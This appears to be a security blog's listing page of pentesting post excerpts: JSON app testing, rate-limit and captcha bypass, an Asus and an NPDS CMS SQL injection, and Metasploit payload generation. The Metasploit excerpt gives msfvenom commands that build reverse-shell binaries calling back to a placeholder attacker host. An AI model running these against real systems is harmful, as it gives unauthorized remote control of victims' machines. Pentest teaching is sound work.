Attacking JSON Application : Pentesting JSON Application

Hello all, Its quite long time i have dosn`t updated my blog. So  here we go.



Today we will see how we can pentest  JSON Web Application.

Note- Some of the methods are taken from third party resources and some are presented as my personal experience.

First What Is JSON According To JSON Website.

JSON (JavaScript Object Notation) is a lightweight data-interchange format. It is easy for humans to read and write. It is easy for machines to parse and generate. It is based on a subset of the JavaScript Programming Language, Standard ECMA-262 3rd Edition - December 1999

"In a lemon language JSON is typically used Javascript to pass the parameter". Like Below HTTP Request.

GET /site/getuserinfo=narendrabhati HTTP/1.1
Host: websecgeeks.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:44.0) Gecko/20100101 Firefox/44.0
Content-Type: application/json;

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Bypass Rate Limit Brute Force Protection Login Attempt Protection Captcha Bypass

Hello All While pentesting an application we might face some problem of  Brute Force Protection , Login Attempt Protection And Captcha Based Protection , So today we will see how can "Bypass Rate Limit Brute Force Protection Login Attempt Protection Captcha Bypass"

First of all we will not use any kind of ready made tools for this , So lets begin !

Many people will think that this is a small issue, But if we look closely an attacker point of view then we will came to know , that By Brute Forcing any login panel can allows an attacker to gain administrative privilege instead of looking for vulnerabilities like RCE , SQL Injection and other critical vulnerability which might also allow us to take the Root or Administrator Level access.

Here i am describing many different techniques which i have observed while pentesting or hunting bugs.

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Generating Metasploit Payloads : Creating Metasploit Reverse Shell

Generating Metasploit Payloads : Creating Metasploit Reverse Shell

Below is the different type of Metasploit Payloads we can use while to get the reverse shell of victim machine.

These exploit can be used in metasploit by using set payload "payloadnae" and before it we have to set multi handler which can be configured by use exploit/multi/handler

Mention payloads require certain inputs as an option such as LHOST, LPORT.

Operating System Based Bionaries Shell

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=attackerip LPORT=attackerport -elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=attackerip LPORT=attackerport -f exe > shell.exe

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=attackerip LPORT=attackerport -f macho > shell.macho

Web Payloads : Usually For RFI, SQL Injection

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Asus SQL Injection Vulnerability

Asus Website SQL Injection

Asus Website was found vulnerable to SQL Injection Vulnerability.

Vulnerability - Not Disclosed.

Status - Fixed By Asus Team.

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NPDS CMS SQL Injection - CVE-2015-1400

Hello folks ! its a long time left i did not write any finding from 2 months , So today i will share one of my finding about NPDS CMS Time Based SQL Injection



What Is NPDS CMS - Beyond content management 'classic', NPDS implements a set of functions specifically dedicated to the management of community and collaborative working groups.
This is a C ontent & C ommunity M anagement S ystem ( CCMS) robust, secure, complete, efficient and really speaking French. Manage your community of users, your collaborative work groups, publish, manage and organize your content with powerful tools available basis.

You can find more about NPDS CMS from this link

So lets come to the finding !

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